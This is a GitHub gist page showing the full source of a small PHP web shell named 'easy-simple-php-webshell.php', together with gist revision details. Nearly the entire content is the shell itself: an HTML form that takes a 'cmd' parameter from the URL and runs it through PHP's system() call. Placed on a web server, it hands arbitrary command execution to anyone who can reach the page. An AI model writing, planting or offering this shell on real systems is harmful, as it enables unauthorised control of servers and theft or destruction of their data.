Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save suryadina/fca3d566c6476e12e0ecfae93550ba4a to your computer and use it in GitHub Desktop.

Select an option

Save suryadina/fca3d566c6476e12e0ecfae93550ba4a to your computer and use it in GitHub Desktop.

Revisions

  1. @joswr1ght joswr1ght created this gist Dec 1, 2017.
    17 changes: 17 additions & 0 deletions easy-simple-php-webshell.php
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,17 @@
    <html>
    <body>
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
    <input type="TEXT" name="cmd" id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
    </form>
    <pre>
    <?php
    if($_GET['cmd'])
    {
    system($_GET['cmd']);
    }
    ?>
    </pre>
    </body>
    <script>document.getElementById("cmd").focus();</script>
    </html>